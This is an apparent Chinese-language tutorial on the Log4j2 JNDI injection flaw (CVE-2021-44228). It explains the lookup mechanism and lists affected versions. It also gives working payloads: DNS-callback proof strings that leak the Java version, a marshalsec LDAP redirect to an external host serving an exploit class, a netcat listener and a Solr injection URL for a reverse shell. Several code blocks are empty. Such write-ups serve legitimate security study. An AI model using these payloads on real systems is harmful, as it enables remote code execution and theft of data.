Log4j2
简介
Apache log4j 是Apache 的一个开源项目, Apache log4j2 是一个Java 的日志记录工具。该工具重写了log4j 框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
漏洞简介
log4j2 中存在JNDI 注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
下面是触发漏洞的两部分关键代码:
- org.apache.logging.log4j.core.pattern.MessagePatternConverter 的 format() 方法(表达式内容替换):
这部分内容重点就在于代码的主要内容就是一旦发现日志中包含 ${ 就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。在 ${ 中可以使用的部分关键词如下:
log4j2
1 |
|
linux
1 |
|
- apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通过 lookup 进行内容替换)
日志在打印时当遇到 ${ 后,Interpolator 类以:号作为分割,将表达式内容分割成两部分,前面部分作
为 prefix,后面部分作为 key。然后通过 prefix 去找对应的 lookup,通过对应的 lookup 实例调用lookup 方法,最后将 key 作为参数带入执行。
由于log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,通过rmi等等。目前看到使用最多的主要是使用ldap来构造payload:
1 |
|
最终效果就是通过 jndi 注入,借助 ldap 服务来下载执行恶意 payload,从而执行命令
整个利用流程分两步:
第一步:向目标发送指定 payload,目标对 payload 进行解析执行,然后会通过 ldap 链接远程服务,当 ldap 服务收到请求之后,将请求进行重定向到恶意 java class 的地址。
第二步:目标服务器收到重定向请求之后,下载恶意 class 并执行其中的代码,从而执行系统命令。
影响范围
影响组件应用
Apache Struts2
Apache Solr Apache Druid Apache Flink
srping-boot-strater-log4j2影响Log4j版本
Apache Log4j 2.0 ~ 2.15.0-rc1
证明漏洞
http: //dnslog.cn/
https: //www.callback.red/
${jndi:ldap://9xovk0.dnslog.cn}
${jndi:ldap://${sys:java.version}.vebwc2.dnslog.cn}
http://IP地址:端口/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.vebwc2.dnslog.cn}
发现已经被解析了
说明存在漏洞
现在我想测试处java的版本,只需要利用上问提到的log4j2相关的变量就可以了
CVE-2021-44228
漏洞利用
方法一
这个是使用gndi注入利用的
启动http服务,该目录下有exploit.class
启动ldap服务
直接执行反弹shell
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://120.27.61.239:8000/#Exploit" 9999
监听端口
1
nc -lvvp 22345
使用jndi ldap协议访问
1
http://192.168.79.128:8983/solr/admin/cores?action=${jndi:ldap://192.168.79.1:9999/Exploit}
访问的是开启了ldap服务的地址
成功反弹
方法二
利用fastjson的工具,自动化生成一个ldap服务器
1 |
|
方法三
1 |
|
直接使用工具
1 |
|
复制直接用,我测试的时候是需要等一下,不知道为什么